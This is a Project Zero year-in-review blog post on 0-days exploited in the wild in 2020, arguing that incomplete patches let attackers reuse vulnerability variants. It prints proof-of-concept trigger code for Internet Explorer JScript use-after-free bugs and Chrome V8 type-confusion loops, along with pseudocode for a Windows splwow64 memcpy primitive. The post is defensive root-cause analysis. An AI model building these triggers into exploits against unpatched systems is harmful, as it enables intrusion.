# Déjà vu-lnerability

googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html

A Year in Review of 0-days Exploited In-The-Wild in 2020

Posted by Maddie Stone, Project Zero

2020 was a year full of 0-day exploits. Many of the Internet's most popular browsers had their moment in the spotlight. Memory corruption is still the name of the game and how the vast majority of detected 0-days are getting in. While we tried new methods of 0-day detection with modest success, 2020 showed us that there is still a long way to go in detecting these 0-day exploits in-the-wild. But what may be the most notable fact is that 25% of the 0-days detected in 2020 are closely related to previously publicly disclosed vulnerabilities. In other words, 1 out of every 4 detected 0-day exploits could potentially have been avoided if a more thorough investigation and patching effort were explored. Across the industry, incomplete patches — patches that don't correctly and comprehensively fix the root cause of a vulnerability — allow attackers to use 0-days against users with less effort.

Since mid-2019, Project Zero has dedicated an effort specifically to track, analyze, and learn from 0-days that are actively exploited in-the-wild. For the last 6 years, Project Zero's mission has been to "make 0-day hard". From that came the goal of our in-the-wild program: "Learn from 0-days exploited in-the-wild in order to make 0-day hard." In order to ensure our work is actually making it harder to exploit 0-days, we need to understand how 0-days are actually being used. Continuously pushing forward the public's understanding of 0-day exploitation is only helpful when it doesn't diverge from the "private state-of-the-art", what attackers are doing and are capable of.

Over the last 18 months, we've learned a lot about the active exploitation of 0-days and our work has matured and evolved with it. For the 2nd year in a row, we're publishing a "Year in Review" report of the previous year's detected 0-day exploits. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you're interested in each individual exploit's analysis, please check out our root cause analyses.

When looking at the 24 0-days detected in-the-wild in 2020, there's an undeniable conclusion: increasing investment in correct and comprehensive patches is a huge opportunity for our industry to impact attackers using 0-days.

A correct patch is one that fixes a bug with complete accuracy, meaning the patch no longer allows any exploitation of the vulnerability. A comprehensive patch applies that fix everywhere that it needs to be applied, covering all of the variants. We consider a patch to be complete only when it is both correct and comprehensive. When exploiting a single

vulnerability or bug, there are often multiple ways to trigger the vulnerability, or multiple paths to access it. Many times we're seeing vendors block only the path that is shown in the proof-of-concept or exploit sample, rather than fixing the vulnerability as a whole, which would block all of the paths. Similarly, security researchers are often reporting bugs without following up on how the patch works and exploring related attacks.

While the idea that incomplete patches are making it easier for attackers to exploit 0-days may be uncomfortable, the converse of this conclusion can give us hope. We have a clear path toward making 0-days harder. If more vulnerabilities are patched correctly and comprehensively, it will be harder for attackers to exploit 0-days.

## This vulnerability looks familiar 🤔

As stated in the introduction, 2020 included 0-day exploits that are similar to ones we've seen before. 6 of 24 0-days exploits detected in-the-wild are closely related to publicly disclosed vulnerabilities. Some of these 0-day exploits only had to change a line or two of code to have a new working 0-day exploit. This section explains how each of these 6 actively exploited 0-days are related to a previously seen vulnerability. We're taking the time to detail each and show the minimal differences between the vulnerabilities to demonstrate that once you understand one of the vulnerabilities, it's much easier to then exploit another.

| Product | Vulnerability exploited in-the-wild | Variant of... |
|---|---|---|
| Microsoft Internet Explorer | CVE-2020-0674 | CVE-2018-8653* CVE-2019-1367* CVE-2019-1429* |
| Mozilla Firefox | CVE-2020-6820 | Mozilla Bug 1507180 |
| Google Chrome | CVE-2020-6572 | CVE-2019-5870<br>CVE-2019-13695 |
| Microsoft Windows | CVE-2020-0986 | CVE-2019-0880* |
| Google Chrome/Freetype | CVE-2020-15999 | CVE-2014-9665 |
| Apple Safari | CVE-2020-27930 | CVE-2015-0093 |

* vulnerability was also exploited in-the-wild in previous years

## Internet Explorer JScript CVE-2020-0674

CVE-2020-0674 is the fourth vulnerability that's been exploited in this bug class in 2 years. The other three vulnerabilities are CVE-2018-8653, CVE-2019-1367, and CVE-2019-1429. In the 2019 year-in-review we devoted a section to these vulnerabilities. Google's Threat Analysis Group attributed all four exploits to the same threat actor. It bears repeating, the same actor exploited similar vulnerabilities four separate times. For all four exploits, the attacker used the same vulnerability type and the same exact exploitation method. Fixing these vulnerabilities comprehensively the first time would have caused attackers to work harder or find new 0-days.

JScript is the legacy Javascript engine in Internet Explorer. While it's legacy, by default it is still enabled in Internet Explorer 11, which is a built-in feature of Windows 10 computers. The bug class, or type of vulnerability, is that a specific JScript object, a variable (uses the VAR struct), is not tracked by the garbage collector. I've included the code to trigger each of the four vulnerabilities below to demonstrate how similar they are. Ivan Fratric from Project Zero wrote all of the included code that triggers the four vulnerabilities.

### CVE-2018-8653

In December 2018, it was discovered that CVE-2018-8653 was being actively exploited. In this vulnerability, the this variable is not tracked by the garbage collector in the isPrototypeof callback. McAfee also wrote a write-up going through each step of this exploit.

```
var objs = new Array();

var refs = new Array();

var dummyObj = new Object();

function getFreeRef()

{

  // 5. delete prototype objects as well as ordinary objects

  for ( var i = 0; i < 10000; i++ ) {

    objs[i] = 1;

  }
```

```
  CollectGarbage();
  for ( var i = 0; i < 200; i++ )
  {
    refs[i].prototype = 1;
  }
  // 6. Garbage collector frees unused variable blocks.
  // This includes the one holding the "this" variable
  CollectGarbage();
  // 7. Boom
  alert(this);
}
// 1. create "special" objects for which isPrototypeOf can be invoked
for ( var i = 0; i < 200; i++ ) {
        var arr = new Array({ prototype: {} });
        var e = new Enumerator(arr);
        refs[i] = e.item();
}
// 2. create a bunch of ordinary objects
for ( var i = 0; i < 10000; i++ ) {
        objs[i] = new Object();
}
// 3. create objects to serve as prototypes and set up callbacks
for ( var i = 0; i < 200; i++ ) {
        refs[i].prototype = {};
        refs[i].prototype.isPrototypeOf = getFreeRef;
}
// 4. calls isPrototypeOf. This sets up refs[100].prototype as "this" variable
// During callback, the "this" variable won't be tracked by the Garbage collector
```

```
// use different index if this doesn't work
dummyObj instanceof refs[100];
```

## CVE-2019-1367

In September 2019, CVE-2019-1367 was detected as exploited in-the-wild. This is the same vulnerability type as CVE-2018-8653: a JScript variable object is not tracked by the garbage collector. This time though the variables that are not tracked are in the arguments array in the Array.sort callback.

```
var spray = new Array();
function F() {
    // 2. Create a bunch of objects
    for (var i = 0; i < 20000; i++) spray[i] = new Object();
    // 3. Store a reference to one of them in the arguments array
    //    The arguments array isn't tracked by garbage collector
    arguments[0] = spray[5000];
    // 4. Delete the objects and call the garbage collector
    //    All JSCript variables get reclaimed...
    for (var i = 0; i < 20000; i++) spray[i] = 1;
    CollectGarbage();
    // 5. But we still have reference to one of them in the
    //    arguments array
    alert(arguments[0]);
}
// 1. Call sort with a custom callback
[1,2].sort(F);
```

## CVE-2019-1429

The CVE-2019-1367 patch did not actually fix the vulnerability triggered by the proof-of-concept above and exploited in the in-the-wild. The proof-of-concept for CVE-2019-1367 still worked even after the CVE-2019-1367 patch was applied!

In November 2019, Microsoft released another patch to address this gap. CVE-2019-1429 addressed the shortcomings of the CVE-2019-1367 and also fixed a variant. The variant is that the variables in the arguments array are not tracked by the garbage collector in the toJson callback rather than the Array.sort callback. The only difference between the variant triggers is the highlighted lines. Instead of calling the Array.sort callback, we call the toJSON callback.

```
 var spray = new Array();
 function F() {
    // 2. Create a bunch of objects
    for (var i = 0; i < 20000; i++) spray[i] = new Object();
    // 3. Store a reference to one of them in the arguments array
    //    The arguments array isn't tracked by garbage collector
    arguments[0] = spray[5000];
    // 4. Delete the objects and call the garbage collector
    //    All JSCript variables get reclaimed...
    for (var i = 0; i < 20000; i++) spray[i] = 1;
    CollectGarbage();
    // 5. But we still have reference to one of them in the
    //    arguments array
    alert(arguments[0]);
 }
 +  // 1. Cause toJSON callback to fire
 +  var o = {toJSON:F}
 +  JSON.stringify(o);
 -  // 1. Call sort with a custom callback
 -  [1,2].sort(F);
```

## CVE-2020-0674

In January 2020, CVE-2020-0674 was detected as exploited in-the-wild. The vulnerability is that the named arguments are not tracked by the garbage collector in the Array.sort callback. The only changes required to the trigger for CVE-2019-1367 is to change the references to arguments[] to one of the arguments named in the function definition. For example, we replaced any instances of arguments[0] with arg1.

```
 var spray = new Array();
+  function F(arg1, arg2) {
-  function F() {
     // 2. Create a bunch of objects
     for (var i = 0; i < 20000; i++) spray[i] = new Object();
     // 3. Store a reference to one of them in one of the named arguments
     //    The named arguments aren't tracked by garbage collector
+     arg1 = spray[5000];
-    arguments[0] = spray[5000];
     // 4. Delete the objects and call the garbage collector
     //    All JScript variables get reclaimed...
     for (var i = 0; i < 20000; i++) spray[i] = 1;
     CollectGarbage();
     // 5. But we still have reference to one of them in
     //   a named argument
+     alert(arg1);
-    alert(arguments[0]);
 }
 // 1. Call sort with a custom callback
 [1,2].sort(F);
```

## CVE-2020-0968

Unfortunately CVE-2020-0674 was not the end of this story, even though it was the fourth vulnerability of this type to be exploited in-the-wild. In April 2020, Microsoft patched CVE-2020-0968, another Internet Explorer JScript vulnerability. When the bulletin was first released, it was designated as exploited in-the-wild, but the following day, Microsoft changed this field to say it was not exploited in-the-wild (see the revisions section at the bottom of the advisory).

```
var spray = new Array();
function f1() {
  alert('callback 1');
  return spray[6000];
}
function f2() {
  alert('callback 2');
  spray = null;
  CollectGarbage();
  return 'a'
}
function boom() {
  var e = o1;
  var d = o2;
  // 3. the first callback (e.toString) happens
  //    it returns one of the string variables
  //    which is stored in a temporary variable
  //    on the stack, not tracked by garbage collector
  // 4. Second callback (d.toString) happens
  //    There, string variables get freed
  //    and the space reclaimed
  // 5. Crash happens when attempting to access
  //    string content of the temporary variable
```

```
  var b = e + d;
  alert(b);
}
// 1. create two objects with toString callbacks
var o1 = { toString: f1 };
var o2 = { toString: f2 };
// 2. create a bunch of string variables
for (var a = 0; a < 20000; a++) {
  spray[a] = "aaa";
}
boom();
```

In addition to the vulnerabilities themselves being very similar, the attacker used the same exploit method for each of the four 0-day exploits. This provided a type of “plug and play” quality to their 0-day development which would have reduced the amount of work required for each new 0-day exploit.

## Firefox CVE-2020-6820

Mozilla patched CVE-2020-6820 in Firefox with an out-of-band security update in April 2020. It is a use-after-free in the Cache subsystem.

CVE-2020-6820 is a use-after-free of the CacheStreamControlParent when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers StreamList::CloseAll. If the StreamControl (must be the Parent which lives in the browser process in order to get the use-after-free in the browser process; the Child would only provide in renderer) still has ReadStreams when StreamList::CloseAll is called, then this will cause the CacheStreamControlParent to be freed. The mId member of the CacheStreamControl parent is then subsequently accessed, causing the use-after-free.

The execution patch for CVE-2020-6820 is:

```
StreamList::CloseAll ← Patched function
  CacheStreamControlParent::CloseAll
    CacheStreamControlParent::NotifyCloseAll
      StreamControl::CloseAllReadStreams
        For each stream:
          ReadStream::Inner::CloseStream
            ReadStream::Inner::Close
              ReadStream::Inner::NoteClosed
                …
                StreamControl::NoteClosed
                  StreamControl::ForgetReadStream
                    CacheStreamControlParent/Child::NoteClosedAfterForget
                      CacheStreamControlParent::RecvNoteClosed
                        StreamList::NoteClosed
                          If StreamList is empty && mStreamControl:
                            CacheStreamControlParent::Shutdown
                              Send__delete(this) ← FREED HERE!
    PCacheStreamControlParent::SendCloseAll ← Used here in call to Id()
```

CVE-2020-6820 is a variant of an internally found Mozilla vulnerability, Bug 1507180. 1507180 was discovered in November 2018 and patched in December 2019. 1507180 is a use-after-free of the ReadStream in mReadStreamList in StreamList::CloseAll. While it was patched in December, an explanatory comment for why the December 2019 patch was needed was added in early March 2020.

For 150718 the execution path was the same as for CVE-2020-6820 except that the the use-after-free occurred earlier, in StreamControl::CloseAllReadStreams rather than a few calls “higher” in StreamList::CloseAll.

In my personal opinion, I have doubts about whether or not this vulnerability was actually exploited in-the-wild. As far as we know, no one (including myself or Mozilla engineers [1, 2]), has found a way to trigger this exploit without shutting down the process. Therefore,

exploiting this vulnerability doesn't seem very practical. However, because it was marked as exploited in-the-wild in the advisory, it remains in our in-the-wild tracking spreadsheet and thus included in this list.

## Chrome for Android CVE-2020-6572

CVE-2020-6572 is use-after-free in MediaCodecAudioDecoder::~MediaCodecAudioDecoder(). This is Android-specific code that uses Android's media decoding APIs to support playback of DRM-protected media on Android. The root of this use-after-free is that a `unique_ptr` is assigned to another, going out of scope which means it can be deleted, while at the same time a raw pointer from the originally referenced object isn't updated.

More specifically, MediaCodecAudioDecoder::Initialize doesn't reset media_crypto_context_ if media_crypto_ has been previously set. This can occur if MediaCodecAudioDecoder::Initialize is called twice, which is explicitly supported. This is problematic when the second initialization uses a different CDM than the first one. Each CDM owns the media_crypto_context_ object, and the CDM itself (cdm_context_ref_) is a `unique_ptr`. Once the new CDM is set, the old CDM loses a reference and may be destructed. However, MediaCodecAudioDecoder still holds a raw pointer to media_crypto_context_ from the old CDM since it wasn't updated, which results in the use-after-free on media_crypto_context_ (for example, in MediaCodecAudioDecoder::~MediaCodecAudioDecoder).

This vulnerability that was exploited in-the-wild was reported in April 2020. 7 months prior, in September 2019, Man Yue Mo of Semmle reported a very similar vulnerability, CVE-2019-13695. CVE-2019-13695 is also a use-after-free on a dangling media_crypto_context_ in MojoAudioDecoderService after releasing the cdm_context_ref_. This vulnerability is essentially the same bug as CVE-2020-6572, it's just triggered by an error path after initializing MojoAudioDecoderService twice rather than by reinitializing the MediaCodecAudioDecoder.

In addition, in August 2019, Guang Gong of Alpha Team, Qihoo 360 reported another similar vulnerability in the same component. The vulnerability is where the CDM could be registered twice (e.g. MojoCdmService::Initialize could be called twice) leading to use-after-free. When MojoCdmService::Initialize was called twice there would be two map entries in cdm_services_, but only one would be removed upon destruction, and the other was left dangling. This vulnerability is CVE-2019-5870. Guang Gong used this vulnerability as a part of an Android exploit chain. He presented on this exploit chain at Blackhat USA 2020, "TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices".

While one could argue that the vulnerability from Guang Gong is not a variant of the vulnerability exploited in-the-wild, it was at the very least an early indicator that the Mojo CDM code for Android had life-cycle issues and needed a closer look. This was noted in the

issue tracker for CVE-2019-5870 and then brought up again after Man Yue Mo reported CVE-2019-13695.

## Windows splwow64 CVE-2020-0986

CVE-2020-0986 is an arbitrary pointer dereference in Windows splwow64. Splwow64 is executed any time a 32-bit application wants to print a document. It runs as a Medium integrity process. Internet Explorer runs as a 32-bit application and a Low integrity process. Internet Explorer can send LPC messages to splwow64. CVE-2020-0986 allows an attacker in the Internet Explorer process to control all three arguments to a memcpy call in the more privileged splwow64 address space. The only difference between CVE-2020-0986 and CVE-2019-0880, which was also exploited in-the-wild, is that CVE-2019-0880 exploited the memcpy by sending message type 0x75 and CVE-2020-0986 exploits it by sending message type 0x6D.

From this great write-up from ByteRaptors on CVE-2019-0880 the pseudo code that allows the controlling of the memcpy is:

```
void GdiPrinterThunk(LPVOID firstAddress, LPVOID secondAddress, LPVOID
thirdAddress)
{
  ...
   if(*((BYTE*)(firstAddress + 0x4)) == 0x75){
     ULONG64 memcpyDestinationAddress = *((ULONG64*)(firstAddress + 0x20));
     if(memcpyDestinationAddress != NULL){
       ULONG64 sourceAddress = *((ULONG64*)(firstAddress + 0x18));
       DWORD copySize = *((DWORD*)(firstAddress + 0x28));
       memcpy(memcpyDestinationAddress,sourceAddress,copySize);
     }
   }
...
}
```

The equivalent pseudocode for CVE-2020-0986 is below. Only the message type (0x75 to 0x6D) and the offsets of the controlled memcpy arguments changed as highlighted below.

```
void GdiPrinterThunk(LPVOID msgSend, LPVOID msgReply, LPVOID arg3)
{
  ...
    if(*((BYTE*)(msgSend + 0x4)) == 0x6D){
     ...
     ULONG64 srcAddress = **((ULONG64 **)(msgSend + 0xA));
     if(srcAddress != NULL){
        DWORD copySize = *((DWORD*)(msgSend + 0x40));
           if(copySize <= 0x1FFFE) {
               ULONG64 destAddress = *((ULONG64*)(msgSend + 0xB));
               memcpy(destAddress,sourceAddress,copySize);
      }
    }
...
}
```

In addition to CVE-2020-0986 being a trivial variant of a previous in-the-wild vulnerability, CVE-2020-0986 was also not patched completely and the vulnerability was still exploitable even after the patch was applied. This is detailed in the “Exploited 0-days not properly fixed” section below.

## Freetype CVE-2020-15999

In October 2020, Project Zero discovered multiple exploit chains being used in the wild. The exploit chains targeted iPhone, Android, and Windows users, but they all shared the same Freetype RCE to exploit the Chrome renderer, CVE-2020-15999. The vulnerability is a heap buffer overflow in the Load_SBit_Png function. The vulnerability was being triggered by an integer truncation. `Load_SBit_Png` processes PNG images embedded in fonts. The image width and height are stored in the PNG header as 32-bit integers. Freetype then truncated them to 16-bit integers. This truncated value was used to calculate the bitmap size and the backing buffer is allocated to that size. However, the original 32-bit width and height values of the bitmap are used when reading the bitmap into its backing buffer, thus causing the buffer overflow.

In November 2014, Project Zero team member Mateusz Jurczyk reported CVE-2014-9665 to Freetype. CVE-2014-9665 is also a heap buffer overflow in the Load_SBit_Png function. This one was triggered differently though. In CVE-2014-9665, when calculating the bitmap size, the size variable is vulnerable to an integer overflow causing the backing buffer to be too small.

To patch CVE-2014-9665, Freetype added a check to the rows and width prior to calculating the size as shown below.

```
 if ( populate_map_and_metrics )
   {
     FT_Long  size;
     metrics->width  = (FT_Int)imgWidth;
     metrics->height = (FT_Int)imgHeight;
     map->width      = metrics->width;
     map->rows       = metrics->height;
     map->pixel_mode = FT_PIXEL_MODE_BGRA;
     map->pitch      = map->width * 4;
     map->num_grays  = 256;
+      /* reject too large bitmaps similarly to the rasterizer */
+      if ( map->rows > 0x7FFF || map->width > 0x7FFF )
+      {
+        error = FT_THROW( Array_Too_Large );
+        goto DestroyExit;
+      }
     size = map->rows * map->pitch; <- overflow size
     error = ft_glyphslot_alloc_bitmap( slot, size );
     if ( error )
       goto DestroyExit;
   }
```

To patch CVE-2020-15999, the vulnerability exploited in the wild in 2020, this check was moved up earlier in the `Load_Sbit_Png` function and changed to `imgHeight` and `imgWidth`, the width and height values that are included in the header of the PNG.

```
      if ( populate_map_and_metrics )
      {
  +     /* reject too large bitmaps similarly to the rasterizer */
  +     if ( imgWidth > 0x7FFF || imgHeight > 0x7FFF )
  +     {
  +       error = FT_THROW( Array_Too_Large );
  +       goto DestroyExit;
  +     }
  +
        metrics->width  = (FT_UShort)imgWidth;
        metrics->height = (FT_UShort)imgHeight;
        map->width      = metrics->width;
        map->rows       = metrics->height;
        map->pixel_mode = FT_PIXEL_MODE_BGRA;
        map->pitch      = map->width * 4;
        map->num_grays  = 256;
  -     /* reject too large bitmaps similarly to the rasterizer */
  -     if ( map->rows > 0x7FFF || map->width > 0x7FFF )
  -     {
  -       error = FT_THROW( Array_Too_Large );
  -       goto DestroyExit;
  -     }
   [...]
```

To summarize:

- CVE-2014-9665 caused a buffer overflow by overflowing the size field in the size = map->rows * map->pitch; calculation.
- CVE-2020-15999 caused a buffer overflow by truncating metrics->width and metrics->height which are then used to calculate the size field, thus causing the size field to be too small.

A fix for the root cause of the buffer overflow in November 2014 would have been to bounds check imgWidth and imgHeight prior to any assignments to an unsigned short. Including the bounds check of the height and widths from the PNG headers early would have prevented both manners of triggering this buffer overflow.

## Apple Safari CVE-2020-27930

This vulnerability is slightly different than the rest in that while it's still a variant, it's not clear that by current disclosure norms, one would have necessarily expected Apple to have picked up the patch. Apple and Microsoft both forked the Adobe Type Manager code over 20 years ago. Due to the forks, there's no true "upstream". However when vulnerabilities were reported in Microsoft's, Apple's, or Adobe's fork, there is a possibility (though no guarantee) that it was also in the others.

CVE-2020-27930 vulnerability was used in an exploit chain for iOS. The variant, CVE-2015-0993, was reported to Microsoft in November 2014. In CVE-2015-0993, the vulnerability is in the blend operator in Microsoft's implementation of Adobe's Type 1/2 Charstring Font Format. The blend operation takes n + 1 parameters. The vulnerability is that it did not validate or handle correctly when n is negative, allowing the font to arbitrarily read and write on the native interpreter stack.

CVE-2020-27930, the vulnerability exploited in-the-wild in 2020, is very similar. The vulnerability this time is in the callothersubr operator in Apple's implementation of Adobe's Type 1 Charstring Font Format. In the same way as the vulnerability reported in November 2014, callothersubr expects n arguments from the stack. However, the function did not validate nor handle correctly negative values of n, leading to the same outcome of arbitrary stack read/write.

Six years after the original vulnerability was reported, a similar vulnerability was exploited in a different project. This presents an interesting question: How do related, but separate, projects stay up-to-date on security vulnerabilities that likely exist in their fork of a common code base? There's little doubt that reviewing the vulnerability Microsoft fixed in 2015 would help the attackers discover this vulnerability in Apple.

## Exploited 0-days not properly fixed… 😭

Three vulnerabilities that were exploited in-the-wild were not properly fixed after they were reported to the vendor.

| Product | Vulnerability that was exploited in-the-wild | 2nd patch |
|---|---|---|
| Internet Explorer | CVE-2020-0674 | CVE-2020-0968 |
| Google Chrome | CVE-2019-13764* | CVE-2020-6383 |
| Microsoft Windows | CVE-2020-0986 | CVE-2020-17008/CVE-2021-1648 |

* when CVE-2019-13764 was patched, it was not known to be exploited in-the-wild

## Internet Explorer JScript CVE-2020-0674

In the section above, we detailed the timeline of the Internet Explorer JScript vulnerabilities that were exploited in-the-wild. After the most recent vulnerability, CVE-2020-0674, was exploited in January 2020, it still didn't comprehensively fix all of the variants. Microsoft patched CVE-2020-0968 in April 2020. We show the trigger in the section above.

## Google Chrome CVE-2019-13674

CVE-2019-13674 in Chrome is an interesting case. When it was patched in November 2019, it was not known to be exploited in-the-wild. Instead, it was reported by security researchers Soyeon Park and Wen Xu. Three months later, in February 2020, Sergei Glazunov of Project Zero discovered that it was exploited in-the-wild, and may have been exploited as a 0-day prior to the patch. When Sergei realized it had already been patched, he decided to look a little closer at the patch. That's when he realized that the patch didn't fix all of the paths to trigger the vulnerability. To read about the vulnerability and the subsequent patches in greater detail, check out Sergei's blog post, "Chrome Infinity Bug".

To summarize, the vulnerability is a type confusion in Chrome's v8 Javascript engine. The issue is in the function that is designed to compute the type of induction variables, the variable that gets increased or decreased by a fixed amount in each iteration of a loop, such as a for loop. The algorithm works only on v8's integer type though. The integer type in v8 includes a few special values, +Infinity and -Infinity. -0 and NaN do not belong to the integer type though. Another interesting aspect to v8's integer type is that it is not closed under addition meaning that adding two integers doesn't always result in an integer. An example of this is +Infinity + -Infinity = NaN.

Therefore, the following line is sufficient to trigger CVE-2019-13674. Note that this line will not show any observable crash effects and the road to making this vulnerability exploitable is quite long, check out this blog post if you're interested!

```
for (var i = -Infinity; i < 0; i += Infinity) { }
```

The patch that Chrome released for this vulnerability added an explicit check for the NaN case. But the patch made an assumption that leads to it being insufficient: that the loop variable can only become NaN if the sum or difference of the initial value of the variable and the increment is NaN. The issue is that the value of the increment can change inside the loop body. Therefore the following trigger would still work even after the patch was applied.

```
var increment = -Infinity;
var k = 0;
// The initial loop value is 0 and the increment is -Infinity.
// This is permissible because 0 + -Infinity = -Infinity, an integer.
for (var i = 0; i < 1; i += increment) {
  if (i == -Infinity) {
    // Once the initial variable equals -Infinity (one loop through)
   // the increment is changed to +Infinity. -Infinity + +Infinity = NaN
    increment = +Infinity;
  }
  if (++k > 10) {
    break;
  }
}
```

To "revive" the entire exploit, the attacker only needed to change a couple of lines in the trigger to have another working 0-day. This incomplete fix was reported to Chrome in February 2020. This patch was more conservative: it bailed as soon as the type detected that increment can be +Infinity or -Infinity.

Unfortunately, this patch introduced an additional security vulnerability, which allowed for a wider choice of possible “type confusions”. Again, check out Sergei’s blog post if you’re interested in more details.

This is an example where the exploit is found after the bug was initially reported by security researchers. As an aside, I think this shows why it’s important to work towards “correct & comprehensive” patches in general, not just vulnerabilities known to be exploited in-the-wild. The security industry knows there is a detection gap in our ability to detect 0-days exploited in-the-wild. We don’t find and detect all exploited 0-days and we certainly don’t find them all in a timely manner.

## Windows splwow64 CVE-2020-0986

This vulnerability has already been discussed in the previous section on variants. After Kaspersky reported that CVE-2020-0986 was actively exploited as a 0-day, I began performing root cause analysis and variant analysis on the vulnerability. The vulnerability was patched in June 2020, but it was only disclosed as exploited in-the-wild in August 2020.

Microsoft’s patch for CVE-2020-0986 replaced the raw pointers that an attacker could previously send through the LPC message, with offsets. This didn’t fix the root cause vulnerability, just changed how an attacker would trigger the vulnerability. This issue was reported to Microsoft in September 2020, including a working trigger. Microsoft released a more complete patch for the vulnerability in January 2021, four months later. This new patch checks that all memcpy operations are only reading from and copying into the buffer of the message.

## Correct and comprehensive patches

We’ve detailed how six 0-days that were exploited in-the-wild in 2020 were closely related to vulnerabilities that had been seen previously. We also showed how three vulnerabilities that were exploited in-the-wild were either not fixed correctly or not fixed comprehensively when patched this year.

When 0-day exploits are detected in-the-wild, it’s the failure case for an attacker. It’s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can’t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that, we need correct and comprehensive fixes.

Being able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times

be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done.

Exactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.

While the aim is that one day all vulnerabilities will be fixed correctly and comprehensively, each step we take in that direction will make it harder for attackers to exploit 0-days.

In 2021, Project Zero will continue completing root cause and variant analyses for vulnerabilities reported as in-the-wild. We will also be looking over the patches for these exploited vulnerabilities with more scrutiny. We hope to also expand our work into variant analysis work on other vulnerabilities as well. We hope more researchers will join us in this work. (If you're an aspiring vulnerability researcher, variant analysis could be a great way to begin building your skills! Here are two conference talks on the topic: my talk at BluehatIL 2020 and Ki Chan Ahn at OffensiveCon 2020.)

In addition, we would really like to work more closely with vendors on patches and mitigations prior to the patch being released. We often have ideas of how issues can be addressed. Early collaboration and offering feedback during the patch design and implementation process is good for everyone. Researchers and vendors alike can save time, resources, and energy by working together, rather than patch diffing a binary after release and realizing the vulnerability was not completely fixed.